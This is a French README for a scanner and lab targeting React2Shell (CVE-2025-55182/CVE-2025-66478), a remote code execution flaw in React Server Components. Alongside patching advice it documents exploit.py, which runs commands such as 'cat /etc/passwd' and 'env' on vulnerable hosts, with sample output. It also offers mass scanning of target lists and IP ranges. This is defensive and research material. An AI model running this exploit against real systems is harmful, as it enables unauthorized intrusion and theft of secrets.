Scanner pour CVE-2025-55182 (React) et CVE-2025-66478 (Next.js) - Suivre et corriger une campagne de vulnérabilité critique des React Server Components (RSC) / protocole Flight affectant react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack, et les frameworks compatibles RSC comme Next.js.
Vulnérabilité EXTERNE pour la classe de bugs React2Shell : deux vulnérabilités d'exécution de code à distance non authentifiées récemment divulguées dans le protocole "Flight" des React Server Components (RSC) — CVE-2025-55182 (React) et CVE-2025-66478 (Next.js), toutes deux notées CVSS 10.0. Ces problèmes résident dans la manière dont les points de terminaison RSC/Server Function décodent les charges utiles Flight contrôlées par l'attaquant, transformant une seule requête HTTP malveillante en une exécution de code côté serveur potentielle — même sur des piles modernes React/Next.js "par défaut" utilisant App Router et des builds de production. Pour de nombreuses équipes, c'est un moment de "corriger maintenant, vérifier l'exposition, puis auditer", pas quelque chose à reporter à un sprint ultérieur d'hygiène des dépendances. Le dossier LAB contient des exploits et des vulnérabilités de laboratoire pour React2Shell.
Ce projet fournit une approche à deux volets : (1) un scan de composition logicielle / risque de dépendance (cet outil), pour localiser rapidement les bibliothèques et versions vulnérables, et (2) un scanner web DAST (React2Shell Web Scanner) qui sonde activement les points de terminaison RSC/Flight depuis l'extérieur, validant si des chemins exploitables sont accessibles dans les environnements en cours d'exécution. Ensemble, ils vous aident à répondre à la fois "où sont les composants vulnérables ?" et "où peuvent-ils être réellement exploités en production ?", afin que vous puissiez prioriser le patching, le durcissement et la réponse aux incidents en toute confiance.
Pour les tests de points de terminaison en direct et la validation RCE, consultez le scanner web dédié :
📁 web-scan_CVE-2025-66478/ - Documentation complète et guide
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
| Fonctionnalité | Description |
|---|---|
| 🔍 Détection RCE | Détection sécurisée basée sur l'arithmétique (sans effets de bord) |
| 🎯 Empreinte technologique | Détection automatique des applications Next.js/React |
| 📊 Export multi-format | Rapports JSON, CSV, HTML |
| 🔗 Corrélation IOC | Correspondance avec plus de 31 IP malveillantes connues |
| 🌐 Scan à grande échelle | Plages CIDR, énumération de sous-domaines |
| ☁️ Intégration Phoenix | Téléversement des résultats vers Phoenix Security |
| 💻 Outil d'exploitation | Exécution de commandes sur des cibles vulnérables |
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell est une primitive d'exécution de code à distance non authentifiée contre le traitement des charges utiles (payloads) React Server Components (RSC) dans le protocole Flight. En pratique, cela signifie qu'un client malveillant peut envoyer une seule requête HTTP malveillante à un point de terminaison RSC/Server Function et, si une version vulnérable est en jeu, potentiellement transformer une « application web » en « shell serveur ».
À un haut niveau :
Comme il s'agit d'une RCE non authentifiée, les configurations de production par défaut sont concernées, même si vous n'avez jamais explicitement écrit de « server function » et avez simplement adopté les patterns modernes React/Next.js. Les mitigations au niveau de l'hébergement et les WAF génériques ne doivent pas être considérés comme votre filet de sécurité principal : ils peuvent réduire l'exposition mais ne compenseront pas de manière fiable les bibliothèques vulnérables. Traitez cela comme un incident :
Une fois qu'un attaquant obtient une RCE via React2Shell, les défenseurs doivent supposer une chaîne de destruction familière :
.env, secrets de déploiement, jetons CI, identifiants de service et clés de signature.